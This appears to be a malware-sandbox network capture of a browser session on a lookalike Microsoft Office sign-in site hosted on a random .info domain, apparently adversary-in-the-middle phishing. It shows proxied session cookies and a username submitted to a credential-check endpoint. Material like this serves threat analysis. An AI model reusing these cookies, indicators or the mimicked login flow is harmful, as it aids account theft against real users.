2025-01-15 14:12:32 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-15 14:12:32 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-15 14:12:32 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-15 14:12:32 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	50698	185.225.69.200	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:33 UTC	825	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b
2025-01-15 14:12:34 UTC	17	IN	HTTP/1.1 200 OK
2025-01-15 14:12:34 UTC	34	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 30 0d 0a Data Ascii: Cache-Control: max-age=315360000
2025-01-15 14:12:34 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-15 14:12:34 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-15 14:12:34 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 31 35 20 4a 61 6e 20 32 30 32 35 20 31 34 3a 31 32 3a 33 33 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 15 Jan 2025 14:12:33 GMT
2025-01-15 14:12:34 UTC	40	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 53 61 74 2c 20 31 33 20 4a 61 6e 20 32 30 33 35 20 31 34 3a 31 32 3a 33 33 20 47 4d 54 0d 0a Data Ascii: Expires: Sat, 13 Jan 2035 14:12:33 GMT
2025-01-15 14:12:34 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-15 14:12:34 UTC	43	IN	Data Raw: 50 70 73 65 72 76 65 72 3a 20 50 50 56 3a 20 33 30 20 48 3a 20 53 4e 31 50 45 50 46 30 30 30 32 46 31 31 46 20 56 3a 20 30 0d 0a Data Ascii: Ppserver: PPV: 30 H: SN1PEPF0002F11F V: 0
2025-01-15 14:12:34 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-15 14:12:34 UTC	152	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 75 61 69 64 3d 36 30 63 35 36 32 63 66 34 34 65 35 34 66 33 33 38 36 36 33 37 61 64 31 38 31 36 30 31 39 33 37 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 79 77 6e 6a 62 2e 39 35 70 69 62 32 6f 7a 77 72 77 34 77 32 62 34 74 31 75 62 72 78 70 6a 63 37 36 64 6f 73 33 6e 6f 70 68 76 69 72 68 74 2e 69 6e 66 6f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: uaid=60c562cf44e54f3386637ad181601937; Path=/; Domain=ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info; HttpOnly; Secure; SameSite=None
2025-01-15 14:12:34 UTC	146	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4d 53 50 52 65 71 75 3d 69 64 3d 4e 26 6c 74 3d 31 37 33 36 39 35 30 33 35 33 26 63 6f 3d 31 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 79 77 6e 6a 62 2e 39 35 70 69 62 32 6f 7a 77 72 77 34 77 32 62 34 74 31 75 62 72 78 70 6a 63 37 36 64 6f 73 33 6e 6f 70 68 76 69 72 68 74 2e 69 6e 66 6f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: MSPRequ=id=N&lt=1736950353&co=1; Path=/; Domain=ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	50714	185.225.69.200	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:36 UTC	910	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; uaid=60c562cf44e54f3386637ad181601937; MSPRequ=id=N&lt=1736950353&co=1
2025-01-15 14:12:37 UTC	17	IN	HTTP/1.1 200 OK
2025-01-15 14:12:37 UTC	34	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 30 0d 0a Data Ascii: Cache-Control: max-age=315360000
2025-01-15 14:12:37 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-15 14:12:37 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-15 14:12:37 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 31 35 20 4a 61 6e 20 32 30 32 35 20 31 34 3a 31 32 3a 33 36 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 15 Jan 2025 14:12:36 GMT
2025-01-15 14:12:37 UTC	40	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 53 61 74 2c 20 31 33 20 4a 61 6e 20 32 30 33 35 20 31 34 3a 31 32 3a 33 37 20 47 4d 54 0d 0a Data Ascii: Expires: Sat, 13 Jan 2035 14:12:37 GMT
2025-01-15 14:12:37 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-15 14:12:37 UTC	43	IN	Data Raw: 50 70 73 65 72 76 65 72 3a 20 50 50 56 3a 20 33 30 20 48 3a 20 42 4c 30 32 45 50 46 30 30 30 31 44 38 41 45 20 56 3a 20 30 0d 0a Data Ascii: Ppserver: PPV: 30 H: BL02EPF0001D8AE V: 0
2025-01-15 14:12:37 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-15 14:12:37 UTC	152	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 75 61 69 64 3d 61 64 35 38 34 62 30 36 38 31 65 30 34 66 33 34 38 32 65 30 63 37 32 66 34 38 63 33 36 61 33 62 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 79 77 6e 6a 62 2e 39 35 70 69 62 32 6f 7a 77 72 77 34 77 32 62 34 74 31 75 62 72 78 70 6a 63 37 36 64 6f 73 33 6e 6f 70 68 76 69 72 68 74 2e 69 6e 66 6f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: uaid=ad584b0681e04f3482e0c72f48c36a3b; Path=/; Domain=ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info; HttpOnly; Secure; SameSite=None
2025-01-15 14:12:37 UTC	146	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4d 53 50 52 65 71 75 3d 69 64 3d 4e 26 6c 74 3d 31 37 33 36 39 35 30 33 35 37 26 63 6f 3d 32 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 79 77 6e 6a 62 2e 39 35 70 69 62 32 6f 7a 77 72 77 34 77 32 62 34 74 31 75 62 72 78 70 6a 63 37 36 64 6f 73 33 6e 6f 70 68 76 69 72 68 74 2e 69 6e 66 6f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: MSPRequ=id=N&lt=1736950357&co=2; Path=/; Domain=ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	50691	185.225.69.200	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:37 UTC	2846	OUT	POST /common/instrumentation/reportstaticmecontroltelemetry?hpgid=1104&hpgact=1800&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&hpgrequestid=8c8dd358-e5a0-4a1f-8ac5-7773c167e101 HTTP/1.1 Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Connection: keep-alive Content-Length: 34 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-VPB6SXiN8qQ=AQABCQEAAABVrSpeuWamRam2jAF1XRQEmtgKbdBGIbg3KQagZtZaP1U79o5IeL6fzGbxN5ouVFXMPwIFKVmPrMww9bKvwxM-JWQpQHfnWoiH_yvztwcR2fXicV-2BedkLl_2CYepFjc8w3AzNBf-mkMONh-ZP1qOLdja6i0TABIP5IhqtuFisSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AWAAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABgAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEpxt7Zz-ve8ehsMS3q-VJzHocwvuYgR9JC0pudvwE6CDIBJT0QqJPvegAJvm5TsAyHqFxn8tVb6nlLtrPVdHb1eTrlbgOBFQp30FNzKzn6l8gAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEHNY1KArCl-3hDX0o6fpkc1at2E72m0pCap4njSPngUz32UbcDmy9L1MR6xT7D7UA6NtXUbn4QM1d8P6aO_idGCxdKe7xJbXrbm5_W6yUw48VrF7BZfJ0FNI-JsmvSHQ5Tdim_RNhb816XwZuVcXq9je0Gz5zeEz8FD86h5i-7QEgAA; esctx-97yw6vWMQE8=AQABCQEAAABVrSpeuWamRam2jAF1XRQE8Q1-xXP3cQEs78HV1zDaFQI2yIyvIkwUJhMWHruKH4HYS6pJ0gX4lGPda8Goas_3jmKb2FeBTXe628BKrw2x_qQxk5m9KrL_uZvjt8LLbbHP8GRnMiVXIJHS691n25uNy6mc4vtzgQgsWi0OcZB0dCAA; fpc=AgMjZ0Gnd0VPvyNLfK [TRUNCATED]
2025-01-15 14:12:37 UTC	34	OUT	Data Raw: 7b 22 6c 6f 61 64 54 69 6d 65 22 3a 31 34 39 39 2c 22 6d 73 61 55 73 65 72 43 6f 75 6e 74 22 3a 30 7d Data Ascii: {"loadTime":1499,"msaUserCount":0}
2025-01-15 14:12:38 UTC	17	IN	HTTP/1.1 200 OK
2025-01-15 14:12:38 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-15 14:12:38 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-15 14:12:38 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-15 14:12:38 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 31 35 20 4a 61 6e 20 32 30 32 35 20 31 34 3a 31 32 3a 33 37 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 15 Jan 2025 14:12:37 GMT
2025-01-15 14:12:38 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-15 14:12:38 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-15 14:12:38 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-15 14:12:38 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-15 14:12:38 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	50726	185.225.69.200	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:46 UTC	3262	OUT	POST /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Connection: keep-alive Content-Length: 1980 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" hpgrequestid: 8c8dd358-e5a0-4a1f-8ac5-7773c167e101 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 client-request-id: ce11a804-20f5-405b-8e71-ec942cfc08d7 canary: PAQABDgEAAABVrSpeuWamRam2jAF1XRQEvJtBaEJ3XGnH55vuT6XjEKabk8N-XPA2GC4nYJNjNflSqywjXPRineIzn0J8iz_8wF4P9F6m8gq5CYZ3Vk_FvocJ_RBiKv-1jGY90Ucz7gSlSXiZlngqhcvkNF3ajch_7ms-452vaHeDc7JZlhJk64F6OTwouSeIigC081V7Aq2Y-0ZHWs5L2oYufkhdIf--5xcE5bBPpRebOIgHo4FteSAA Content-type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725471488322150.OThmMTdiMTMtODgzMS00MTA0LThiMzYtZDJhN2YzODQwMjJhMGZjMTQwZGYtZmJhNy00MmQ0LThiZTctZjFiZGY2ZWE4OTM0&ui_locales=en-US&mkt=en-US&client-request-id=ce11a804-20f5-405b-8e71-ec942cfc08d7&state=2TrolD_U_84YVjV2R0p8o_mtGrPNEHB-vjHJo_-kFutFaryXGPB51odhdq5y4GaK_lsXiSl1BLd5KgF-3zBPGX5DK6Sfc2Va20NT42fs7Ps35MbrR8cwphBp7wr1p0gT3Is6HsMAgvby4Iv6TGJUOYB1qST95B-UKO61gE06Zm4ncHICKemhmiwboZYaBqQBwClttg1D0G73_27F28cCg089dyfyxf3XI37w4_94UncXX273QSKSGmSM4yHKijBcMf4m280EqqNTIumZVVheag&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-VPB6SXiN8qQ=AQABCQEAAABVrSpeuWamRam2jAF1XRQEmtgKbdBGIbg3KQagZtZaP1U79o5IeL6fzGbxN5ouVFXMPwIFKVmPrMww9bKvwxM-JWQpQHfnWoiH_yvztwcR2fXicV-2BedkLl_2CYepFjc8w3AzNBf-mkMONh-ZP1qOLdja6i0TABIP5IhqtuFisSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AWAAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABgAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEpxt7Zz-ve8ehsMS3q-VJzHocwvuYgR9JC0pudvwE6CDIBJT0QqJPvegAJvm5TsAyHqFxn8tVb6nlLtrPVdHb1eTrlbgOBFQp30FNzKzn6l8gAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEHNY1KArCl-3hDX0o6fpkc1at2E72m0pCap4njSPngUz32UbcDmy9L1MR6xT7D7UA6NtXUbn4QM1d8P6aO_idGCxdKe7xJbXrbm5_W6yUw48VrF7BZfJ0FNI-JsmvSHQ5Tdim_RNhb816XwZuVcXq9je0Gz5zeEz8FD86h5i-7QEgAA; esctx-97yw6vWMQE8=AQABCQEAAABVrSpeuWamRam2jAF1XRQE8Q1-xXP3cQEs78HV1zDaFQI2yIyvIkwUJhMWHruKH4HYS6pJ0gX4lGPda8Goas_3jmKb2FeBTXe628BKrw2x_qQxk5m9KrL_uZvjt8LLbbHP8GRnMiVXIJHS691n25uNy6mc4vtzgQgsWi0OcZB0dCAA; fpc=AgMjZ0Gnd0VPvyNLfK [TRUNCATED]
2025-01-15 14:12:46 UTC	1980	OUT	Data Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 22 6e 61 68 36 65 39 40 70 70 76 69 74 6b 2e 69 6f 22 2c 22 69 73 4f 74 68 65 72 49 64 70 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 63 68 65 63 6b 50 68 6f 6e 65 73 22 3a 66 61 6c 73 65 2c 22 69 73 52 65 6d 6f 74 65 4e 47 43 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 69 73 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 53 68 6f 77 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 69 64 6f 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e 61 6c 52 65 71 75 65 73 74 22 3a 22 72 51 51 49 41 52 41 41 68 5a 4c 50 69 2d 4e 6b 48 4d 61 62 64 71 59 7a 55 39 54 74 72 69 4c 72 79 52 34 38 69 47 37 61 4e 32 5f 65 5f 42 70 59 63 44 4a 70 6b 37 61 54 5a 72 4a 4e 4f 32 30 38 68 44 61 5f 75 30 6d 54 4a 70 6c 6d 32 72 39 Data Ascii: {"username":"nah6e9@ppvitk.io","isOtherIdpSupported":true,"checkPhones":false,"isRemoteNGCSupported":true,"isCookieBannerShown":false,"isFidoSupported":true,"originalRequest":"rQQIARAAhZLPi-NkHMabdqYzU9TtriLryR48iG7aN2_e_BpYcDJpk7aTZrJNO208hDa_u0mTJplm2r9
2025-01-15 14:12:46 UTC	17	IN	HTTP/1.1 200 OK
2025-01-15 14:12:47 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-15 14:12:47 UTC	57	IN	Data Raw: 43 6c 69 65 6e 74 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 63 65 31 31 61 38 30 34 2d 32 30 66 35 2d 34 30 35 62 2d 38 65 37 31 2d 65 63 39 34 32 63 66 63 30 38 64 37 0d 0a Data Ascii: Client-Request-Id: ce11a804-20f5-405b-8e71-ec942cfc08d7
2025-01-15 14:12:47 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-15 14:12:47 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-15 14:12:47 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 31 35 20 4a 61 6e 20 32 30 32 35 20 31 34 3a 31 32 3a 34 36 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 15 Jan 2025 14:12:46 GMT
2025-01-15 14:12:47 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-15 14:12:47 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-15 14:12:47 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-15 14:12:47 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	50728	185.225.69.200	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
